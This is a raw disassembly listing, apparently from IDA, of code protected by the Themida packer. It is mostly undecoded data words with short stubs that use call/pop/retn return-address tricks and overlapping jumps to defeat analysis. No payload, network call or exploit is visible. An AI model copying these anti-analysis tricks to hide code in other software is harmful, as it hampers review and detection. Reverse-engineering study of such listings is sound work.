		dd 38FDA0Ah, 1B3AD9A4h,	78FE36C0h, 1F5F4629h, 1F5F1E21h
		dd 1B3AD9B5h, 40FE2EE5h, 0C8C062ADh, 2A42AAAFh,	1B3ADE2Dh
		dd 67F63FA0h, 0A34A7086h, 1B3AD9A9h, 1B3E68AFh,	0A6A0D9A0h
		dd 0F3C62A7Fh, 6DF0D936h, 8142AE8Ah, 0B2A3B42Bh, 4FA1504h
		dd 1B3AD9ABh, 640727C8h, 0AC44FF12h, 1FBC24C4h,	0FEDA41C4h
		dd 60D7E2E0h, 0A842AACBh, 0EF253425h, 6B3B43A7h, 1B3ADD88h
		dd 0DE92F9A0h, 3F7F62F8h, 3F7F5AA4h, 1B3AF2A4h,	0DE8B19A0h
		dd 0EEBD4EA5h, 0A044193Dh, 220C0C85h, 0F64030h,	13C62A2Ah
		dd 713B4431h, 1B3ADD88h, 0DE98F9A0h, 3FAF62FEh,	3F7F5AA4h
		dd 1B3AEDA4h, 0DE911FA0h, 1B42C308h, 3398D9A0h,	0CD45266Bh
		dd 38D7E32Fh, 1A42AAC3h, 0EC65EF36h, 70F63FA7h,	0B8C43AAFh
		dd 220BFA21h, 4730772Bh, 0A001E171h, 220BF6D9h,	1B3AD9A3h
		dd 38BDA0Ah, 1B3AD9A4h,	74FE32C0h, 1F5F2629h, 1F5F1E21h
		dd 1B3AD9B9h, 38FE2AE1h, 25F1E81Ah, 88D8652Bh, 442AAC3h
		dd 1B3AD9A6h, 569F430Ah, 75F85CB1h, 1B42AE8Ah, 1B965DAFh
		dd 1BA4D9A0h, 1B3EC1F2h, 755AD9A0h, 6FC43463h, 5FBBDDC4h
		dd 1B52DDC4h, 6D7CD9A0h, 3C3D1363h, 6C24D878h, 853AD9A0h
		dd 1E232EA0h, 3B3AD9A0h, 0A4989CFDh, 9C3EFE0Ch,	383EFDE4h
		dd 603AD9A0h, 174E9CF5h, 0D79491EFh, 12A58885h,	0CDD4CD22h
		dd 0D86DEA41h, 220C0B5Dh, 4ACAE25Fh, 276B29C3h,	2C7ED9B1h
		dd 2B239AA1h, 1D4C1DD0h, 1E4C25A0h, 1F245CF8h, 5126C115h
		dd 2C3F09F0h, 1C4C3DA0h, 4B4BC261h, 1B3CEAE4h, 733DEB04h
		dd 903FC323h, 6B56C587h, 434BC261h, 4B3DEB04h, 733CEAE4h
		dd 1C4C3DC8h, 9E4BDDD0h, 2AFDE89h, 0DBC5DA8Ch, 0DD03BD21h
		dd 1BA538C5h, 1B3EC1F3h, 765AD9A0h, 77C43563h, 5FBBDDC4h
		dd 1B51DDC4h, 6E7DD9A0h, 5F903D63h, 1FC0E8B3h, 813AD9A0h
		dd 9ED6215Bh, 0EC58135Dh, 0A049DCA7h, 1B3ADD9Dh, 390DA0Ah
		dd 1B3AD9A4h, 79FE37C0h
		dd 1F5F4E29h, 1F5F1E21h, 1B3AD9BBh, 0BDFE2FE6h,	0F6D0AA79h
		dd 81BDCB2Dh, 4BC4B521h, 75F85D99h, 1B42AE8Ah, 1E025DAFh
		dd 0D28CD9A0h, 0D03A34FEh, 220FC3FAh, 390DA0Ah,	1B3AD9A4h
		dd 79FE37C0h, 1F5F4E29h, 1F5F1E21h, 1B3AD9BCh, 0FCFE2FE6h
		dd 0B122BF07h, 17B05FDh, 4DD88F2Ah, 0B039E171h,	220C0851h
		dd 0A6396506h, 0EF252855h, 0E2618CA7h, 1C3ADAA6h, 552659A0h
		dd 7B8D29F0h, 0A6A131F3h, 4C4A3B78h, 1B3AE988h,	0EE7697A0h
		dd 3F9BAF04h, 5EE5F348h, 0AFCB7D1Dh, 1B3AED88h,	14ED1DA0h
		dd 0F104E3B5h, 5F1E1C02h, 3F00F831h, 0A2672426h, 739538FBh
		dd 0A45F0E29h, 0EC4EC725h, 75F0D8A7h, 8542AE8Ah, 1E232FA0h
		dd 3B3AD9A0h, 0A4999CFEh, 9C3EFE14h, 323EFDE4h,	613AD9A0h
		dd 0EEC39CF6h, 0F5C6BEE3h, 4CE06F9Fh, 1BA4E171h, 1B3EC1F6h
		dd 795AD9A0h, 8FC43863h, 5FBBDDC4h, 1B57DDC4h, 7180D9A0h
		dd 48991B63h, 0CF70C871h, 0A6C825C4h, 0EC51AF5Dh, 69F064A7h
		dd 8142AE8Ah, 0A0C6B32Bh, 220C04D1h, 0DC120B5Fh, 0DFC162A9h
		dd 853AD9A0h, 1E232EA0h, 3B3AD9A0h, 0A4989CFDh,	9C3EFE0Ch
		dd 313EFDE4h, 603AD9A0h, 0C5D79CF5h, 4CBFE345h,	0A642AAB9h
		dd 0EC562B35h, 713B43A7h, 1B3ADD88h, 0DE98F9A0h, 3FAF62FEh
		dd 3F7F5AA4h, 1B3AF0A4h, 0DE911FA0h, 8CCC7B6Bh,	1FFD5D98h
		dd 31FC5F29h, 6BC3E171h, 6E3B43C0h, 1B3ADD88h, 0DE95F9A0h
		dd 3F9762FBh, 3F7F5AA4h, 1B3AEEA4h, 0DE8E1CA0h,	0A0C8C31Ch
		dd 220FD885h, 1B3AEE88h, 0AE0911A0h, 0F9AC4D31h, 69047B33h
		dd 2CEDDC03h, 0AEF5001h, 0C8EFE30Bh, 7A42AABFh,	1BF36029h
		dd 1BA4D9A0h, 1B3EC1F2h, 755AD9A0h, 6FC43463h, 5FBBDDC4h
		dd 1B52DDC4h, 6D7CD9A0h, 0F390DB63h, 0D83C003Dh, 220BF299h
		dd 1B3C59AFh, 8536D9A0h, 703B43A0h, 1B3ADD88h, 0DE97F9A0h
		dd 3FA762FDh, 3F7F5AA4h, 1B3AF2A4h, 0DE901EA0h,	0E3B25E20h
		dd 0DA4A58BEh, 75F0D97Eh, 8542AE8Ah, 1E232FA0h,	3B3AD9A0h
		dd 0A4999CFEh, 9C3EFE14h, 303EFDE4h, 613AD9A0h,	42A89CF6h
		dd 0B03A34F0h, 220BF789h, 3C4C5F29h, 0A58AE171h, 3F6F637Dh
		dd 1B1896C9h, 0D039E171h, 220FC3FAh, 0E3F1E900h, 0B8D0D901h
		dd 8542AACDh, 1E232AA0h, 3B3AD9A0h, 0A4949CF9h,	9C3EFDECh
		dd 343EFDE4h, 5C3AD9A0h, 70169CF1h, 172B1EACh, 43449724h
		dd 2A3AE171h, 1B3B4B24h, 723B43A0h, 1B3ADD88h, 0DE99F9A0h
		dd 3FB762FFh, 3F7F5AA4h, 1B3AF5A4h, 0DE9220A0h,	0DE5AAD24h
		dd 203BD2A6h, 7B9B2A64h, 1B3AEE89h, 0A35D0A0h, 27B50571h
		dd 40125E80h, 15906B3Dh, 0CAC69A66h, 0EEC63FE2h, 1FC1E901h
		dd 813AD9A0h, 7C487A5Eh, 855F0E29h, 1E232FA0h, 3B3AD9A0h
		dd 0A4999CFEh, 9C3EFE14h, 323EFDE4h, 613AD9A0h,	0A96D9CF6h
		dd 0D03A9ACDh, 220FC3FAh, 38ADA0Ah, 1B3AD9A4h, 73FE31C0h
		dd 1F5F1E29h, 45F1E21h,	15h, 77C35040h,	1595010Dh, 0FF07D12Ch
		dd 0D132B595h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 668F43DDh, 0FF5EB7A0h
		dd 0D4EA5AB5h, 68A0F07h, 89000000h, 0D130F19Dh,	995FF07h
		dd 8107D127h, 0B528C1C7h, 0C1BD8328h, 207D10Fh,	57840Fh
		dd 0DBB0000h, 8B09E465h, 0D11E2585h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 4E4084BBh
		dd 0BFA6A7B4h, 24BC51F1h, 6A0000C6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 6CC6C353h
		dd 0BF6FC62Bh, 0CD85C7C1h, 7D122h, 29000000h, 0D11FF98Dh
		dd 0F382E907h, 8589FFFFh, 7D1332Dh, 67B3C18Bh, 0AE9h, 6A6CD700h
		dd 65DE6B3Dh, 8D0910F7h, 0D1136185h, 1DD78107h,	90339B50h
		dd 79B85160h, 5E3A0772h, 61DA8B66h, 148B0F50h, 60000000h
		dd 9E9h, 0F3C73C00h, 822E7A3Dh,	0BA66C79Eh, 9061CC24h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0BDC35242h
		dd 22794B82h, 9E814h, 0B6CF0000h, 92D9C421h, 0BB32CEE9h
		dd 2A48C458h, 0F006A5Fh, 28Bh, 0E9FA8B00h, 10h,	0BAB11C52h
		dd 4E2FFE81h, 5EACB2E9h, 12140152h, 880F006Ah, 6, 1BAD8501h
		dd 858D07D1h, 7D5DCE7h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0F7C35646h, 0C083AF69h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 7CE3BAABh, 0BD9509CFh, 6007D132h, 0B1B589FCh, 6107D116h
		dd 0CE890h, 0BAED0000h,	0EB0E66D5h, 5E64CE7h, 8B6674AAh
		dd 0BF505BF8h, 601BA098h, 0DE890h, 0C8110000h, 77ED2268h
		dd 42253A3Bh, 8BC7553Ch, 0D12AB19Dh, 6A5F07h, 7E9h, 0B575F600h
		dd 0FB96EDDBh, 1F718531h, 6A07D1h, 233DBD8Bh, 95FF07D1h
		dd 7D11DE1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	4C35343h, 0ECF0D5B4h, 98E7817Fh, 8D1BFBBCh, 0D4D5668Dh
		dd 0FF94B707h, 3DBD8BD1h, 8307D116h, 0D11715BDh, 850F0107h
		dd 81h,	6840Fh,	0EF810000h, 5EA7BA28h, 0BE9h, 0B08D0800h
		dd 0C046032Dh, 0CBE3D7C2h, 6A026Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 6CB9C5C3h
		dd 37E83AC4h, 0F53C98E7h, 50F88B90h, 489553BBh,	6A902Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 9D4A31C3h, 81ACDF10h, 0E68580D7h, 0E995FF2Ah, 8107D11Dh
		dd 0ADF04DBh, 0EC8E97Ah, 0E80000h, 5D000000h, 0DCF1ED81h
		dd 6A07D5h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 3544F7C3h, 0EACF81C2h, 8D4026ADh,	0D4BC7785h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 6E92A8Fh, 35000000h, 795140EDh, 8B6650F8h
		dd 240489FEh, 24B9BD29h, 0FF6407D1h, 35h, 636BBB00h, 89641D44h
		dd 25h,	0D59D2300h, 0FF07D132h,	0D1292185h, 53FF6A07h
		dd 0CA9BD8Bh, 0FF5F07D1h, 0D11FF1B5h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 608B1488h, 14E9h, 0E47FDB00h, 2FD0B3B3h, 64669B00h
		dd 6CC4EE3Eh, 0BDFBA221h, 6E861C4h, 2A000000h, 0FDC48519h
		dd 79958980h, 5F07D12Ch, 141D95FFh, 2FE907D1h, 0B0000001h
		dd 5810F00h, 0BF000000h, 428BD816h, 0BD8B70E6h,	7D1003Dh
		dd 48BB71E4h, 3C75E762h, 0B830F61h, 89000001h, 0D1026D9Dh
		dd 0C8B60F07h, 2C499D89h, 6BA07D1h, 0E9000000h,	0Dh, 0CC2DF46h
		dd 0B9ECCA48h, 4A3E2865h, 66C18B74h, 9D8BF88Bh,	7D11115h
		dd 6004E8C1h, 2DC9BD29h, 820F07D1h, 2, 6661C28Bh, 0BD33E2F7h
		dd 7D10F39h, 9501C82Bh,	7D10669h, 11E9D18Bh, 1E000000h
		dd 3812D7EBh, 0E06846DBh, 0D552200h, 3E61C90Ah,	3E9h, 0F98B6600h
		dd 2519858Bh, 852907D1h, 7D11ED1h, 8B07C083h, 0D1107DBDh
		dd 0C08307h, 7DBD89h, 0D98B07D1h, 830FD03Bh, 0Fh, 8589DE8Bh
		dd 7D122C9h, 61E9h, 8BDD8A00h, 0D11F458Dh, 7DBD8907h, 8307D116h
		dd 840F01E1h, 4Ah, 11E8F9h, 0C9940000h,	0D86AB99Bh
		dd 534C2201h, 0F3168316h, 66280A42h, 5F69B7BFh,	1F45A583h
		dd 66FE07D1h, 895911BFh, 0D1251995h, 0DE907h, 42530000h
		dd 0FEE3DC2Ah, 9DBC3119h, 89CEB762h, 0D126B19Dh, 0E907h
		dd 0B58D0000h, 7D5480Eh, 0CA9BD8Bh, 6A07D1h, 0EE9h, 0D06BBF00h
		dd 3ACEE1D7h, 0FAB657Ah, 0F8436DA1h, 5595FFh, 6A07D1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0BDF2E8C3h, 66B52A75h, 9D89F98Bh, 7D12331h, 894B9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 29616FE8h, 0D108C5B5h, 0FCE18307h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 74C35141h, 5716BF8Eh
		dd 898D31C9h, 0FC07D125h, 0B8D98B66h, 0
; ---------------------------------------------------------------------------
		movzx	edi, si
		sub	edx, edx
		push	0
		push	ecx
		call	sub_5D4608
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4608	proc near		; CODE XREF: Themida_:005D4600p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5D4608	endp

; ---------------------------------------------------------------------------
		dd 0C3B3F489h, 33AD23FAh, 3E8D1C2h, 4E983D0h, 0FA8AF475h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0DCC35747h
		dd 988A8D6Ah, 880D89h, 0EE80000h, 0E9000000h, 0C25243Bh
		dd 5CBA9A35h, 8A4D7221h, 5880F58h, 66000000h, 9A2CD381h
		dd 51958B5Fh, 8907D11Bh, 0D114C585h, 6890F07h, 81000000h
		dd 292C03CFh, 558D8B3Ah, 0E807D12Dh, 13h, 61B5DB1Dh, 10D4BCF2h
		dd 2281360Ch, 0A329DCCh, 664B55B8h, 5B16ACBFh, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0B70F23C3h
		dd 56006AF8h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 68B9399Bh, 6850Fh, 0B5890000h, 7D12909h
		dd 1BC5BD83h, 0F0007D1h, 9884h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 66010A35h
		dd 0E1BDF781h, 0B8h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 9589A8A8h, 7D13411h, 4D0A8D8Dh
		dd 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0E8327BC3h, 609978FFh, 49BED681h,	11E9308Dh
		dd 2A000000h, 0A56C88C6h, 4926FFB6h, 0DEAF1744h, 735BA2C1h
		dd 8BE1FF61h, 0D115E9BDh, 39BD8307h, 7D11Dh, 4C1840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 600475C3h, 80DEBF0Fh, 8B6197E8h, 0D12E0D9Dh
		dd 39BD8307h, 107D11Dh,	4A4840Fh, 81660000h, 835CCCE3h
		dd 0D11D39BDh, 860F0307h, 45Ch,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0E0C35545h,	0D552200h, 2180E781h
		dd 6A603027h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 66E1C353h, 0E180D98Ch,	50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0EC647C4Ah, 654D2F93h, 0A5B50964h, 0A07D11Bh, 0C2840FC9h
		dd 6A000001h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8B62C352h, 0D128F585h,	51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 10E9E7h, 594D0000h, 881F927Fh, 6A31BF9Fh, 7A279F80h
		dd 8533F6C0h, 7D131CDh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0FBC35242h, 0E57C01EAh, 0DB29D36Eh, 0DF8B90A1h
		dd 90FE8B50h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	0E2C35141h, 39541512h, 0CAB93B8Ch, 7137BB23h, 6A3A5Fh
		dd 11E8h, 0D1B63F00h, 0C9B553C1h, 0AA0E771Ah, 8DC94E4Fh
		dd 0BD338EE7h, 7D13185h, 4E85Bh, 3FF0000h, 0E850001Fh
		dd 12h,	0CDA7A149h, 902E789Eh, 0B769EFC9h, 0E49A07Fh, 0D7B73B04h
		dd 24448B5Fh, 0C8F0F04h, 0F000000h, 68Eh, 8E0F00h, 8B000000h
		dd 99BF5300h, 5F734213h, 4244489h, 0A4302ABFh, 6A5862h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0F5896EC3h, 3375DF2Fh, 0D10CC9BDh, 1595FF07h, 8907D12Bh
		dd 0D128018Dh, 5A858907h, 6A07D4EAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 9E0AC355h
		dd 21F5BFDFh, 8B601F1Eh, 0D12039BDh, 0CAB96607h, 0BFE9617Dh
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8933C351h, 0D1177D95h,	918D0907h
		dd 0E907D12Bh, 0Dh, 0A2977ABCh,	0D15B7821h, 0B767D38Ch
		dd 52858B3Dh, 6607D4EAh, 52A6F8BBh, 0C75FFE8Bh,	1800h
		dd 1810F00h, 0F8000000h, 8E0Fh,	0B58B0000h, 7D4EA56h, 18D9531h
		dd 858B07D1h, 7D10C9Dh,	2A019D89h, 68907D1h, 10E9h, 0B3A0C900h
		dd 0F1FEFCFh, 360899D5h, 68D26195h, 0F5858BCCh,	6A07D128h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 4DE1C355h, 895F9B77h, 0D1071595h,	4468907h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0CCC35040h
		dd 2F6F3602h, 93F78069h, 105DBD8Bh, 8B9607D1h, 8B6650F9h
		dd 6A96FEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 142F24C3h, 0FFF8BF90h, 0D4EA52B5h, 0D3816607h
		dd 0C268A973h, 8B6C3370h, 243481F9h, 6C2C733Dh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0FFC35646h, 858DFF88h
		dd 7D4EA5Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	74C35747h, 0B12DBE54h, 8B168B59h, 2ABF66B5h, 0BB6690D8h
		dd 8A5083B5h, 6A90FDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0AEE617C3h, 66144765h, 0D9BFDA8Bh
		dd 0FF14DA89h, 0D12B1595h, 10E907h, 5C140000h, 0BA0F17Bh
		dd 4F6371FEh, 3999C461h, 6A611FDFh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0C5EC353h
		dd 0F1BB6684h, 6850F6Dh, 8B000000h, 0D10769BDh,	3985C707h
		dd 307D11Dh, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 6804C351h, 1890Fh
		dd 83F50000h, 0D4EA5ABDh, 840F0007h, 30h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 0ACC35141h, 0E280F755h
		dd 0E57BB00Bh, 20E9F8B3h, 66000000h, 187EF381h,	110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 6ADBBFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0BD838CC3h, 7D11D39h, 0EC850F03h, 6A000004h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0B530C352h, 0B6B160A8h, 0F13D380h, 1E83h, 12E800h, 55160000h
		dd 629E3759h, 7FEBE63Ah, 8917CE74h, 0ED9CB5BCh,	1BA58D29h
		dd 8B5F07D1h, 5ABD83D8h, 7D4EAh, 495840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0A0377BC3h, 8529B011h, 7D12E11h, 0EA5AB5FFh,	6A07D4h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0CCCF7AC3h, 95FFF918h, 7D12EB1h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 6DC35242h, 7BABD140h, 8166A256h
		dd 8B6B1BE7h, 0D1270D9Dh, 4EB58B07h, 5707D4EAh,	68E1CB81h
		dd 0C75F3D0Ah, 1000106h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 78223524h, 60502CA2h
		dd 42333BAh, 11E804h, 4F6B0000h, 37BE1E79h, 2D0A896Dh
		dd 0B305F9C5h, 0B4A0B182h, 89615F86h, 6A2434h, 3E853h
		dd 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B5FF5BC3h
		dd 7D4EA5Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0EAC35040h, 0ECBFE088h,	0FF15726Ah, 0D131A595h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0A170A254h, 0BE988h, 145F0000h, 59123E40h
		dd 0B8B37BB6h, 4EB58BC4h, 6A07D4EAh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 6E4CC350h
		dd 82908114h, 471E2020h, 1E319D31h, 858B07D1h, 7D12B31h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 47C35040h
		dd 0AD0CBDF3h, 85899F59h, 7D122B1h, 0C48689h, 0B70F0000h
		dd 51958BDFh, 6A07D11Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 8477C351h, 3D44BFCCh
		dd 81B509D5h, 8307D121h, 12E904C2h, 34000000h, 0AC9C53Dh
		dd 5AB7DE6Dh, 1300772Ch, 81BDA6ADh, 2050899Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 57C35343h, 0E5858D10h
		dd 6007D4FEh, 32058D89h, 8D8B07D1h, 7D121B1h, 178B0F61h
		dd 0E9000000h, 12h, 2B5E176Dh, 1AE22958h, 938873D2h, 0DEA94DABh
		dd 86897CDBh, 0B8h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 43C35141h, 80BB6655h,	6A006A0Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 83C0C352h, 0AFB4B618h, 84D9D09h, 0B5FF07D1h,	7D4EA5Ah
		dd 30FDBD8Bh, 95FF07D1h, 7D11DE9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0F7C35040h,	6650BD4Dh, 890FF1BFh
		dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 4B4339C3h, 299D33F8h, 0FF07D132h,	0D4EA5AB5h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0FF35A0Ch, 95FFF8B7h, 7D12D9Dh, 3111BD8Bh
		dd 0BD8307D1h, 7D12809h, 75840F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 1B8C355h, 0D11BAD85h, 8B609607h, 505061CFh, 10E852h
		dd 0F3480000h, 0E3F1FCCCh, 9BFE55FDh, 93B41A74h, 0DD8A5C57h
		dd 60310F5Bh, 5A618DB3h, 6A9658h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 85781BC3h, 68E0Fh, 8D290000h
		dd 7D106C5h, 0EA5AB5FFh, 6A07D4h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 9D1575C3h, 0FE8h, 0C789C00h
		dd 0E4661B1Eh, 6D5D31E8h, 0B854AEE7h, 0E5BD8960h, 5607D124h
		dd 0FF5B615Fh, 0D132B595h, 5DBD3307h, 0FF07D107h, 0D4EA5AB5h
		dd 995FF07h, 6007D127h,	0B52929B5h, 7D12381h, 0C1BD8361h
		dd 207D10Fh, 3C840Fh, 0BD8B0000h, 7D121F9h, 1E25858Bh
		dd 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 2838B9C3h, 818CCE9Bh, 8B30C0DFh, 0C677h
		dd 28F99589h, 85C707D1h, 7D122CDh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5D51AF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D51AF	proc near		; CODE XREF: Themida_:005D51A7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5D51AF	endp

; ---------------------------------------------------------------------------
		clc
		sar	byte ptr [edx-76D5EEA6h], 1
		imul	ebx, [ecx-1627749Ah], 0FFFFF1E5h
		push	0
		push	eax
		call	sub_5D51DB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D51DB	proc near		; CODE XREF: Themida_:005D51D3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5D51DB	endp

; ---------------------------------------------------------------------------
		mov	dh, 8Bh
		shl	dword ptr [esi-41h], 0Eh
		pushf
		lea	eax, [ebp+7D11361h]
		push	0
		push	ebx
		call	sub_5D5203
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5203	proc near		; CODE XREF: Themida_:005D51FBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5D5203	endp

; ---------------------------------------------------------------------------
		sub	eax, 21CB8166h
		or	dl, [eax-31AB449Ah]
		push	eax
		push	edx
		mov	ebx, ecx
		pop	ebx
		nop
		push	0
		push	ebp
		call	sub_5D522F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D522F	proc near		; CODE XREF: Themida_:005D5227p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5D522F	endp

; ---------------------------------------------------------------------------
		cmpsb
		or	al, 6Ch
		js	near ptr loc_5D5255+4
		call	near ptr loc_5D5253+1
		xchg	eax, edi
		sbb	dh, [ebp+21h]
		dec	ecx
		std


loc_5D5253:				; CODE XREF: Themida_:005D5248p
		mov	bl, 66h


loc_5D5255:				; CODE XREF: Themida_:005D5242j
		mov	edi, 6A5F1723h
		add	[edx+0], ch
		push	esi
		call	sub_5D5266
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5266	proc near		; CODE XREF: Themida_:005D525Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5D5266	endp

; ---------------------------------------------------------------------------
		or	edi, [edi+6A006Ah]
		push	eax
		call	sub_5D5285
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5285	proc near		; CODE XREF: Themida_:005D527Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5D5285	endp

; ---------------------------------------------------------------------------
		db 5Fh,	74h, 0EEh
		dd 0D781EA62h, 53F588ACh, 0EDC3858Dh, 6A07D5h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0FE4AE8C3h, 5C083A2h, 24E59D8Bh, 505007D1h, 60310F52h
		dd 310F5250h, 10E9585Ah, 0AD000000h, 0C98ED68Eh, 17D880CDh
		dd 4F408BE3h, 61DDAA04h, 489585Ah, 0F99D0124h, 6A07D121h
		dd 0FF006A00h, 0D11DE195h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BB667061h
		dd 8D8DB0ECh, 7D4D566h,	2469BD8Bh, 0D1FF07D1h, 0BD832FB7h
